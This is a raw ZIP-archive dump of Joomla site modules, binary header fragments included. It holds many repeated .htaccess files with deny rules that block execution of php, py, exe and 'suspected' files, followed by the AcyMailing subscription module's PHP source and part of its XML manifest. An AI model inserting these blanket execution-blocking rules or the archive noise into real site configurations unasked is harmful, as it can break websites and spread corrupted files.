GPLUS="Goolge Plus"PK!�#o,,%mod_news_show_sp2/language/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!�)��$mod_news_show_sp2/language/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_random_image/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_random_image/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_articles_category/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��$mod_articles_category/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_finder/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_finder/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_menu/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_menu/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)�� mod_related_items/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_related_items/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_breadcrumbs/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_breadcrumbs/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_articles_archive/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��#mod_articles_archive/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�#o,,mod_acymailing/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!^�c�q.q.!mod_acymailing/mod_acymailing.phpnu&1i�<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.2.0
 * @author	acyba.com
 * @copyright	(C) 2009-2016 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

if(!include_once(rtrim(JPATH_ADMINISTRATOR, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php')){
	echo 'This module can not work without the AcyMailing Component';
	return;
};

$doc = JFactory::getDocument();
$config = acymailing_config();
$overridedesign = preg_replace('#[^a-z0-9_]#i', '', JRequest::getCmd('design'));
if(!empty($overridedesign)){
	if($overridedesign == 'popup') $overridedesign = '';
	$params->set('effect', 'mootools-box');
}

switch($params->get('redirectmode', '0')){
	case 1 :
		$redirectUrl = acymailing_completeLink('lists', false, true);
		$redirectUrlUnsub = $redirectUrl;
		break;
	case 2 :
		$redirectUrl = $params->get('redirectlink');
		$redirectUrlUnsub = $params->get('redirectlinkunsub');
		break;
	default :
		if(isset($_SERVER["REQUEST_URI"])){
			$requestUri = $_SERVER["REQUEST_URI"];
		}else{
			$requestUri = $_SERVER['PHP_SELF'];
			if(!empty($_SERVER['QUERY_STRING'])) $requestUri = rtrim($requestUri, '/').'?'.$_SERVER['QUERY_STRING'];
		}
		$redirectUrl = (((!empty($_SERVER['HTTPS']) AND strtolower($_SERVER['HTTPS']) == "on") || $_SERVER['SERVER_PORT'] == 443) ? 'https://' : 'http://').$_SERVER["HTTP_HOST"].$requestUri;
		$redirectUrlUnsub = $redirectUrl;
		if($params->get('effect', 'normal') == 'mootools-box') $redirectUrlUnsub = $redirectUrl = '';
}

$regex = trim(preg_replace('#[^a-z0-9\|\.]#i', '', $config->get('module_redirect')), '|');
if($regex != 'all'){
	preg_match('#^(https?://)?(www.)?([^/]*)#i', $redirectUrl, $resultsurl);
	$domainredirect = preg_replace('#[^a-z0-9\.]#i', '', @$resultsurl[3]);
	preg_match('#^(https?://)?(www.)?([^/]*)#i', $redirectUrlUnsub, $resultsurl);
	$domainredirectunsub = preg_replace('#[^a-z0-9\.]#i', '', @$resultsurl[3]);
	$saveRedir = false;
	if(!empty($domainredirect) && !preg_match('#^'.$regex.'$#i', $domainredirect)){
		$regex .= '|'.$domainredirect;
		$saveRedir = true;
	}
	if(!empty($domainredirectunsub) && !preg_match('#^'.$regex.'$#i', $domainredirectunsub)){
		$regex .= '|'.$domainredirectunsub;
		$saveRedir = true;
	}
	if($saveRedir){
		$newConfig = new stdClass();
		$newConfig->module_redirect = $regex;
		$config->save($newConfig);
	}
}

$formName = acymailing_getModuleFormName();
if(!empty($overridedesign)){
	$params->set('includejs', 'module');
}

$introText = $params->get('introtext');
$postText = $params->get('finaltext');
$mootoolsIntro = $params->get('mootoolsintro', '');
if(!empty($introText) && preg_match('#^[A-Z_]*$#', $introText)){
	$introText = JText::_($introText);
}
if(!empty($postText) && preg_match('#^[A-Z_]*$#', $postText)){
	$postText = JText::_($postText);
}
if(!empty($mootoolsIntro) && preg_match('#^[A-Z_]*$#', $mootoolsIntro)){
	$mootoolsIntro = JText::_($mootoolsIntro);
}


if($params->get('effect') == 'mootools-box' AND JRequest::getString('tmpl') != 'component'){

	$mootoolsButton = $params->get('mootoolsbutton', '');
	if(empty($mootoolsButton)){
		$mootoolsButton = JText::_('SUBSCRIBE');
	}else{
		if(!empty($mootoolsButton) && preg_match('#^[A-Z_]*$#', $mootoolsButton)){
			$mootoolsButton = JText::_($mootoolsButton);
		}
	}

	$moduleCSS = $config->get('css_module', 'default');
	if(!empty($moduleCSS)){
		$doc->addStyleSheet(ACYMAILING_CSS.'module_'.$moduleCSS.'.css?v='.filemtime(ACYMAILING_MEDIA.'css'.DS.'module_'.$moduleCSS.'.css'));
	}
	JHTML::_('behavior.modal', 'a.modal');
	require(JModuleHelper::getLayoutPath('mod_acymailing', 'popup'));
	return;
}
acymailing_initModule($params->get('includejs', 'header'), $params);

$userClass = acymailing_get('class.subscriber');
$identifiedUser = null;
$connectedUser = JFactory::getUser();
if($params->get('loggedin', 1) && !empty($connectedUser->email)){
	$identifiedUser = $userClass->get($connectedUser->email);
}

$visibleLists = trim($params->get('lists', 'None'));
$hiddenLists = trim($params->get('hiddenlists', 'All'));
$visibleListsArray = array();
$hiddenListsArray = array();
$listsClass = acymailing_get('class.list');
if(empty($identifiedUser->subid)){
	$allLists = $listsClass->getLists('listid');
}else{
	$allLists = $userClass->getSubscription($identifiedUser->subid, 'listid');
}


if(strpos($visibleLists, ',') OR is_numeric($visibleLists)){
	$allvisiblelists = explode(',', $visibleLists);
	foreach($allLists as $oneList){
		if($oneList->published AND in_array($oneList->listid, $allvisiblelists)) $visibleListsArray[] = $oneList->listid;
	}
}elseif(strtolower($visibleLists) == 'all'){
	foreach($allLists as $oneList){
		if($oneList->published){
			$visibleListsArray[] = $oneList->listid;
		}
	}
}

if(strpos($hiddenLists, ',') OR is_numeric($hiddenLists)){
	$allhiddenlists = explode(',', $hiddenLists);
	foreach($allLists as $oneList){
		if($oneList->published AND in_array($oneList->listid, $allhiddenlists)) $hiddenListsArray[] = $oneList->listid;
	}
}elseif(strtolower($hiddenLists) == 'all'){
	$visibleListsArray = array();
	foreach($allLists as $oneList){
		if(!empty($oneList->published)){
			$hiddenListsArray[] = $oneList->listid;
		}
	}
}

if(!empty($visibleListsArray) AND !empty($hiddenListsArray)){
	$visibleListsArray = array_diff($visibleListsArray, $hiddenListsArray);
}

$visibleLists = $params->get('dropdown', 0) ? '' : implode(',', $visibleListsArray);
$hiddenLists = implode(',', $hiddenListsArray);

if(!$params->get('dropdown', 0) && empty($hiddenLists) && empty($visibleLists)){
	echo '<p style="color:red">Error : Please select some lists in your AcyMailing module configuration for the field "'.JText::_('AUTO_SUBSCRIBE_TO').'" and make sure the selected lists are enabled </p>';
}

if(!empty($identifiedUser->subid)){
	$countSub = 0;
	$countUnsub = 0;
	foreach($visibleListsArray as $idOneList){
		if($allLists[$idOneList]->status == -1){
			$countSub++;
		}elseif($allLists[$idOneList]->status == 1) $countUnsub++;
	}
	foreach($hiddenListsArray as $idOneList){
		if($allLists[$idOneList]->status == -1){
			$countSub++;
		}elseif($allLists[$idOneList]->status == 1) $countUnsub++;
	}
}

$checkedLists = $params->get('listschecked', 'All');
if(strtolower($checkedLists) == 'all'){
	$checkedListsArray = $visibleListsArray;
}elseif(strpos($checkedLists, ',') OR is_numeric($checkedLists)){
	$checkedListsArray = explode(',', $checkedLists);
}else{
	$checkedListsArray = array();
}

$listPosition = $params->get('listposition', 'before');


$nameCaption = $params->get('nametext', JText::_('NAMECAPTION'));
$emailCaption = $params->get('emailtext', JText::_('EMAILCAPTION'));
$displayOutside = $params->get('displayfields', 0);
$displayInline = ($params->get('displaymode', 'vertical') == 'vertical') ? false : true;

$displayedFields = $params->get('customfields', 'name,email');
$fieldsToDisplay = explode(',', $displayedFields);
$extraFields = array();

$fieldsize = $params->get('fieldsize', '80%');
if(is_numeric($fieldsize)) $fieldsize .= 'px';


if(!in_array('email', $fieldsToDisplay) && empty($connectedUser->id)) $fieldsToDisplay[] = 'email';

if($params->get('loadmootools', '1') == 1 && ($params->get('effect') == 'mootools-slide' || $params->get('redirectmode', 0) == '3')){
	acymailing_loadMootools($params->get('effect') == 'mootools-slide');
}

if($params->get('effect') == 'mootools-slide'){
	$mootoolsButton = $params->get('mootoolsbutton', '');
	if(empty($mootoolsButton)) $mootoolsButton = JText::_('SUBSCRIBE');

	$js = 'if (window.jQuery) {
			jQuery(document).ready(function(){
				jQuery("#acymailing_fulldiv_'.$formName.'").hide();
 				jQuery("#acymailing_togglemodule_'.$formName.'").click(function(){
					jQuery("#acymailing_fulldiv_'.$formName.'").slideToggle("fast");
					jQuery("#acymailing_togglemodule_'.$formName.'").toggleClass("acyactive");
					return false;
				});
			});
		} else{
		';
	$js .= "window.addEvent('domready', function(){
				var mySlide = new Fx.Slide('acymailing_fulldiv_$formName');
				mySlide.hide();
				try{
					var acytogglemodule = document.id('acymailing_togglemodule_$formName');
				}catch(err){
					var acytogglemodule = $('acymailing_togglemodule_$formName');
				}

				acytogglemodule.addEvent('click', function(e){
					if(mySlide.wrapper.offsetHeight == 0){
						acytogglemodule.className = 'acymailing_togglemodule acyactive';
					}else{
						acytogglemodule.className = 'acymailing_togglemodule';
					}
					mySlide.toggle();
					try {
						var evt = new Event(e);
						evt.stop();
					} catch(err) {
						e.stop();
					}
				});
			});
		}";

	if($params->get('includejs', 'header') == 'header'){
		$doc->addScriptDeclaration($js);
	}else{
		echo "<script type=\"text/javascript\">
			<!--
				$js
			//-->
				</script>";
	}
}

if($params->get('overlay', 0)){
	JHTML::_('behavior.tooltip');
}

if($params->get('showterms', false)){
	require_once JPATH_SITE.DS.'components'.DS.'com_content'.DS.'helpers'.DS.'route.php';
	$termsIdContent = $params->get('termscontent', 0);
	if(empty($termsIdContent)){
		$termslink = JText::_('JOOMEXT_TERMS');
	}else{
		if(is_numeric($termsIdContent)){
			$db = JFactory::getDBO();
			if(!ACYMAILING_J16){
				$query = 'SELECT a.id,a.alias,a.catid,a.sectionid, c.alias as catalias, s.alias as secalias FROM #__content as a ';
				$query .= ' LEFT JOIN #__categories AS c ON c.id = a.catid ';
				$query .= ' LEFT JOIN #__sections AS s ON s.id = a.sectionid ';
				$query .= 'WHERE a.id = '.$termsIdContent.' LIMIT 1';
				$db->setQuery($query);
				$article = $db->loadObject();

				$section = $article->sectionid.(!empty($article->secalias) ? ':'.$article->secalias : '');
				$category = $article->catid.(!empty($article->catalias) ? ':'.$article->catalias : '');
				$articleid = $article->id.(!empty($article->alias) ? ':'.$article->alias : '');
				$url = ContentHelperRoute::getArticleRoute($articleid, $category, $section);
			}else{
				$query = 'SELECT a.id,a.alias,a.catid, c.alias as catalias FROM #__content as a ';
				$query .= ' LEFT JOIN #__categories AS c ON c.id = a.catid ';
				$query .= 'WHERE a.id = '.$termsIdContent.' LIMIT 1';
				$db->setQuery($query);
				$article = $db->loadObject();

				$category = $article->catid.(!empty($article->catalias) ? ':'.$article->catalias : '');
				$articleid = $article->id.(!empty($article->alias) ? ':'.$article->alias : '');

				$url = ContentHelperRoute::getArticleRoute($articleid, $category);
			}
			$url .= (strpos($url, '?') ? '&' : '?').'tmpl=component';
		}else{
			$url = $termsIdContent;
		}

		if($params->get('showtermspopup', 1) == 1){
			$acypop = acymailing_get('helper.acypopup');
			$acypop->useMootools = ($params->get('loadmootools', '1') == 1) ? true : false;
			$termslink = $acypop->display(JText::_('JOOMEXT_TERMS'), JText::_('JOOMEXT_TERMS', true), $url, $articleid, 650, 375, '', '', 'text');
		}else{
			$termslink = '<a title="'.JText::_('JOOMEXT_TERMS', true).'"  href="'.$url.'" target="_blank">'.JText::_('JOOMEXT_TERMS').'</a>';
		}
	}
}

if(!empty($overridedesign)){
	ob_start();
}

if($params->get('displaymode') == 'tableless'){
	require(JModuleHelper::getLayoutPath('mod_acymailing', 'tableless'));
}else{
	require(JModuleHelper::getLayoutPath('mod_acymailing'));
}

if(!empty($connectedUser->email)){
	echo '<span style="display:none">{emailcloak=off}</span>';
}

if(!empty($overridedesign)){
	$moduleDisplay = ob_get_clean();
	$file = ACYMAILING_MEDIA.'plugins'.DS.'squeezepage'.DS.$overridedesign.'.php';
	if(file_exists($file)){
		ob_start();
		require($file);
		$squeezePage = ob_get_clean();
		$squeezePage = str_replace('{module}', $moduleDisplay, $squeezePage);
		echo $squeezePage;
		exit;
	}else{
		echo $moduleDisplay;
	}
}

PK!��^��Y�Y!mod_acymailing/mod_acymailing.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="1.5.0" method="upgrade">
	<name>AcyMailing Module</name>
	<creationDate>September 2009</creationDate>
	<version>3.7.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2016 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>Subscribe / Unsubscribe Module for AcyMailing</description>
	<files>
		<filename module="mod_acymailing">mod_acymailing.php</filename>
		<filename>index.html</filename>
		<folder>tmpl</folder>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" default="module" label="Help" description="Click on the help button to get some help" />
		<param name="effect" type="radio" default="normal" label="DISPLAY_EFFECT" description="Select the effect you want to add to your module">
			<option value="normal">Normal (no effect)</option>
			<option value="mootools-slide">Slide effect</option>
			<option value="mootools-box">Popup effect</option>
		</param>
		<param name="lists" type="lists" default="None" label="VISIBLE_LISTS" description="The following selected lists will be added on the Module and will be visible (if they are not selected as automatically subscribed to)." />
		<param name="hiddenlists" type="lists" default="All" label="AUTO_SUBSCRIBE_TO" description="The user will be automatically subscribed to the selected lists. They won't be displayed on your module but if the user subscribes, he will be subscribed to those lists as well" />
		<param name="displaymode" type="radio" default="vertical" label="DISPLAY_MODE" description="Select whether you want to display the form horizontally, vertically or without table">
			<option value="inline">Horizontal</option>
			<option value="vertical">Vertical</option>
			<option value="tableless">Tableless</option>
		</param>
		<param name="listschecked" type="lists" default="All" label="LISTS_CHECKED_DEFAULT" description="The selected lists will be checked by default on your module if they are visible." />
		<param name="checkmode" type="radio" default="0" label="CHECKED_MODE" description="If you select the first option - Show user's subscription status - only the lists that the logged-in user is subscribed to will be checked. This option has an effect on logged-in users only so you can choose whether you want to display his own subscription or always the default one.">
			<option value="0">Show user's subscription status</option>
			<option value="1">Default checked lists</option>
		</param>
		<param name="dropdown" type="radio" default="0" label="DROPDOWN_LISTS" description="Display the visible lists in a dropdown">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="overlay" type="radio" default="0" label="DESC_OVERLAY" description="Add the description of each visible list as an overlay of the list name. Be careful, you might have conflicts using this option if you have some flash elements on your website.">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="link" type="radio" default="1" label="LINKED_ARCHIVE" description="Add a link to the archive section for each list.">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="listposition" type="radio" default="before" label="LIST_POSITION" description="Select where to display the list.">
			<option value="before">ACY_BEFORE_FIELDS</option>
			<option value="after">ACY_AFTER_FIELDS</option>
		</param>
		<param name="customfields" type="customfields" default="name,email" label="DISP_FIELDS" description="Select the fields you want to display on your subscription module" />

		<param name="@spacer" type="spacer" default="" label="" description="" />

		<param name="nametext" type="text" size="50" default="" label="CAPT_NAME" description="Text displayed on the name field. If you don't specify anything, the default value will be used from the current language file" />
		<param name="emailtext" type="text" size="50" default="" label="CAPT_EMAIL" description="Text displayed on the e-mail field. If you don't specify anything, the default value will be used from the current language file" />
		<param name="fieldsize" type="text" size="10" default="80%" label="FIELD_SIZE" description="Specify the size of the email and name fields on your subscription form" />
		<param name="displayfields" type="radio" default="0" label="DISP_TEXT_MODE" description="Display the Name and E-mail text inside or outside the field?">
			<option value="0">Inside</option>
			<option value="1">Outside</option>
		</param>
		<param name="introtext" type="textarea" rows="5" cols="35" default="" label="INTRO_TEXT" description="This text will be displayed before the form inside a span class=acymailing_introtext" />
		<param name="finaltext" type="textarea" rows="5" cols="35" default="" label="POST_TEXT" description="This text will be displayed after the form inside a span class=acymailing_finaltext" />
		<param name="@spacer" type="spacer" default="" label="" description="" />
		<param name="showsubscribe" type="radio" default="1" label="DISP_SUB_BUTTON" description="Display the subscribe button on the module">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="subscribetext" type="text" size="50" default="" label="CAPT_SUB" description="Text displayed on the subscribe button. If you don't specify anything, the default value will be used from the current language file" />
		<param name="subscribetextreg" type="text" size="50" default="" label="CAPT_SUB_LOGGED" description="Text displayed on the subscribe button if the user is logged in. If you don't specify anything, the default value will be used from the current language file" />
		<param name="showunsubscribe" type="radio" default="0" label="DISP_UNSUB_BUTTON" description="Display the unsubscribe button on the module">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="unsubscribetext" type="text" size="50" default="" label="CAPT_UNSUB" description="Text displayed on the unsubscribe button. If you don't specify anything, the default value will be used from the current language file" />

		<param name="@spacer" type="spacer" default="" label="" description="" />
		<param name="redirectmode" type="radio" default="0" label="REDIRECT_MODE" description="After submitting the form, the user can be redirected to the previous page, to the Acymailing archive page or to a custom link (in that case, please write the url in the next field)">
			<option value="3">Ajax</option>
			<option value="0">Previous page</option>
			<option value="1">AcyMailing Archive</option>
			<option value="2">Custom Redirect Link</option>
		</param>
		<param name="redirectlink" type="text" size="50" default="" label="REDIRECT_LINK" description="If you selected the mode 'Custom Redirect Link', the user will be redirected to this url after clicking on the button subscribe" />
		<param name="redirectlinkunsub" type="text" size="50" default="" label="REDIRECTION_UNSUB" description="If you selected the mode 'Custom Redirect Link', the user will be redirected to this url after clicking on the button unsubscribe" />

		<param name="@spacer" type="spacer" default="" label="" description="" />

		<param name="showterms" type="radio" default="0" label="JOOMEXT_TERMS" description="Display the 'Accept Terms and Conditions' box">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="showtermspopup" type="radio" default="1" label="TERMS_POPUP" description="If you select 'Yes', the article linked to the terms and conditions will be displayed in a popup, otherwise it will be displayed as a separated page">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="termscontent" type="termscontent" default="0" label="TERMS_CONTENT" description="The selected article will be displayed if the user clicks on the link 'Terms and Conditions'" />
		<param name="@spacer" type="spacer" default="" label="" description="" />
		<param name="mootoolsintro" type="textarea" rows="5" cols="35" default="" label="MOO_INTRO" description="This text will be displayed before the Mootools button in case of you use the Mootools effect" />
		<param name="mootoolsbutton" type="text" size="50" default="" label="MOO_BUTTON" description="Text displayed on the Mootools button in case of you use the Mootools effect. If you don't specify anything, the default value will be used from the current language file" />
		<param name="boxwidth" type="text" size="5" default="250" label="MOO_BOX_WIDTH" description="If you use the Mootools Box effect, you can set the width of the box in this area" />
		<param name="boxheight" type="text" size="5" default="200" label="MOO_BOX_HEIGHT" description="If you use the Mootools Box effect, you can set the height of the box in this area" />

	</params>

	<params group="advanced">
		<param name="moduleclass_sfx" type="text" default="" label="MODULE_CLASSSUF" description="PARAMMODULECLASSSUFFIX" />
		<param name="textalign" type="list" default="0" label="MODULE_ALIGNMENT" description="This option enables you to align the text inside the module">
			<option value="none">Default CSS alignment</option>
			<option value="right">Right</option>
			<option value="left">Left</option>
			<option value="center">Center</option>
		</param>
		<param name="loggedin" type="radio" default="1" label="MODULE_AUTOID" description="Do you want the logged in users to be automatically identified in the module?">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="cache" type="list" default="0" label="MODULE_CACHING" description="Select whether to cache the content of this module">
			<option value="0">No caching</option>
			<option value="1">Use global</option>
		</param>
		<param name="includejs" type="list" default="header" label="MODULE_JS" description="How should AcyMailing add the necessary JS files">
			<option value="header">In the header</option>
			<option value="module">On the module itself</option>
		</param>
		<param name="itemid" size="10" type="text" default="" label="ACY_ITEMID" description="Menu ID used in the archive links coming from this module" />
        <param name="loadmootools" type="list" default="1" label="Use mootools" description="Select if you want the module to use Mootools or not">
            <option value="0">No</option>
            <option value="1">Yes</option>
        </param>
	</params>

	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" default="module" label="Help" description="Click on the help button to get some help" />
                <field name="effect" type="radio" default="normal" label="DISPLAY_EFFECT" description="Select the effect you want to add to your module">
                    <option value="normal">Normal (no effect)</option>
                    <option value="mootools-slide">Slide effect</option>
                    <option value="mootools-box">Popup effect</option>
                </field>
                <field name="lists" type="lists" default="None" label="VISIBLE_LISTS" description="The following selected lists will be added on the Module and will be visible (if they are not selected as automatically subscribed to)." />
                <field name="hiddenlists" type="lists" default="All" label="AUTO_SUBSCRIBE_TO" description="The user will be automatically subscribed to the selected lists. They won't be displayed on your module but if the user subscribes, he will be subscribed to those lists as well" />
                <field name="displaymode" type="radio" default="vertical" label="DISPLAY_MODE" description="Select whether you want to display the form horizontally, vertically or without table">
                    <option value="inline">Horizontal</option>
                    <option value="vertical">Vertical</option>
                    <option value="tableless">Tableless</option>
                </field>
                <field name="listschecked" type="lists" default="All" label="LISTS_CHECKED_DEFAULT" description="The selected lists will be checked by default on your module if they are visible." />
                <field name="checkmode" type="radio" default="0" label="CHECKED_MODE" description="If you select the first option - Show user's subscription status - only the lists that the logged-in user is subscribed to will be checked. This option has an effect on logged-in users only so you can choose whether you want to display his own subscription or always the default one.">
                    <option value="0">Show user's subscription status</option>
                    <option value="1">Default checked lists</option>
                </field>
                <field name="dropdown" type="radio" default="0" label="DROPDOWN_LISTS" description="Display the visible lists in a dropdown">
                    <option value="0">JOOMEXT_NO</option>
                    <option value="1">JOOMEXT_YES</option>
                </field>
                <field name="overlay" type="radio" default="0" label="DESC_OVERLAY" description="Add the description of each visible list as an overlay of the list name. Be careful, you might have conflicts using this option if you have some flash elements on your website.">
                    <option value="0">JOOMEXT_NO</option>
                    <option value="1">JOOMEXT_YES</option>
                </field>
                <field name="link" type="radio" default="1" label="LINKED_ARCHIVE" description="Add a link to the archive section for each list.">
                    <option value="0">JOOMEXT_NO</option>
                    <option value="1">JOOMEXT_YES</option>
                </field>
                <field name="listposition" type="radio" default="before" label="LIST_POSITION" description="Select where to display the list.">
                    <option value="before">ACY_BEFORE_FIELDS</option>
                    <option value="after">ACY_AFTER_FIELDS</option>
                </field>
                <field name="customfields" type="customfields" default="name,email" label="DISP_FIELDS" description="Select the fields you want to display on your subscription module" />

                <field name="@spacer" type="spacer" default="" label="" description="" />

                <field name="nametext" type="text" size="50" default="" label="CAPT_NAME" description="Text displayed on the name field. If you don't specify anything, the default value will be used from the current language file" filter="SAFEHTML" />
                <field name="emailtext" type="text" size="50" default="" label="CAPT_EMAIL" description="Text displayed on the e-mail field. If you don't specify anything, the default value will be used from the current language file" filter="SAFEHTML" />
                <field name="fieldsize" type="text" size="10" default="80%" label="FIELD_SIZE" description="Specify the size of the email and name fields on your subscription form" />
                <field name="displayfields" type="radio" default="0" label="DISP_TEXT_MODE" description="Display the Name and E-mail text inside or outside the field?">
                    <option value="0">Inside</option>
                    <option value="1">Outside</option>
                </field>
                <field name="introtext" type="textarea" rows="5" cols="35" default="" label="INTRO_TEXT" description="This text will be displayed before the form inside a span class=acymailing_introtext" filter="SAFEHTML" />
                <field name="finaltext" type="textarea" rows="5" cols="35" default="" label="POST_TEXT" description="This text will be displayed after the form inside a span class=acymailing_finaltext" filter="SAFEHTML" />
                <field name="@spacer" type="spacer" default="" label="" description="" />
                <field name="showsubscribe" type="radio" default="1" label="DISP_SUB_BUTTON" description="Display the subscribe button on the module">
                    <option value="0">JOOMEXT_NO</option>
                    <option value="1">JOOMEXT_YES</option>
                </field>
                <field name="subscribetext" type="text" size="50" default="" label="CAPT_SUB" description="Text displayed on the subscribe button. If you don't specify anything, the default value will be used from the current language file" filter="SAFEHTML" />
                <field name="subscribetextreg" type="text" size="50" default="" label="CAPT_SUB_LOGGED" description="Text displayed on the subscribe button if the user is logged in. If you don't specify anything, the default value will be used from the current language file" filter="SAFEHTML" />
                <field name="showunsubscribe" type="radio" default="0" label="DISP_UNSUB_BUTTON" description="Display the unsubscribe button on the module">
                    <option value="0">JOOMEXT_NO</option>
                    <option value="1">JOOMEXT_YES</option>
                </field>
                <field name="unsubscribetext" type="text" size="50" default="" label="CAPT_UNSUB" description="Text displayed on the unsubscribe button. If you don't specify anything, the default value will be used from the current language file" filter="SAFEHTML" />

                <field name="@spacer" type="spacer" default="" label="" description="" />
                <field name="redirectmode" type="radio" default="0" label="REDIRECT_MODE" description="After submitting the form, the user can be redirected to the previous page, to the Acymailing archive page or to a custom link (in that case, please write the url in the next field)">
                    <option value="3">Ajax</option>
                    <option value="0">Previous page</option>
                    <option value="1">AcyMailing Archive</option>
                    <option value="2">Custom Redirect Link</option>
                </field>
                <field name="redirectlink" type="text" size="50" default="" label="REDIRECT_LINK" description="If you selected the mode 'Custom Redirect Link', the user will be redirected to this url after clicking on the button subscribe" />
                <field name="redirectlinkunsub" type="text" size="50" default="" label="REDIRECTION_UNSUB" description="If you selected the mode 'Custom Redirect Link', the user will be redirected to this url after clicking on the button unsubscribe" />

                <field name="@spacer" type="spacer" default="" label="" description="" />

                <field name="showterms" type="radio" default="0" label="JOOMEXT_TERMS" description="Display the 'Accept Terms and Conditions' box">
                    <option value="0">JOOMEXT_NO</option>
                    <option value="1">JOOMEXT_YES</option>
                </field>
                <field name="showtermspopup" type="radio" default="1" label="TERMS_POPUP" description="If you select 'Yes', the article linked to the terms and conditions will be displayed in a popup, otherwise it will be displayed as a separated page">
                    <option value="0">JOOMEXT_NO</option>
                    <option value="1">JOOMEXT_YES</option>
                </field>
                <field name="termscontent" type="termscontent" default="0" label="TERMS_CONTENT" description="The selected article will be displayed if the user clicks on the link 'Terms and Conditions'" />
                <field name="@spacer" type="spacer" default="" label="" description="" />
                <field name="mootoolsintro" type="textarea" rows="5" cols="35" default="" label="MOO_INTRO" description="This text will be displayed before the Mootools button in case of you use the Mootools effect" filter="SAFEHTML" />
                <field name="mootoolsbutton" type="text" size="50" default="" label="MOO_BUTTON" description="Text displayed on the Mootools button in case of you use the Mootools effect. If you don't specify anything, the default value will be used from the current language file" filter="SAFEHTML" />
                <field name="boxwidth" type="text" size="5" default="250" label="MOO_BOX_WIDTH" description="If you use the Mootools Box effect, you can set the width of the box in this area" />
                <field name="boxheight" type="text" size="5" default="200" label="MOO_BOX_HEIGHT" description="If you use the Mootools Box effect, you can set the height of the box in this area" />

			</fieldset>
			<fieldset name="advanced">
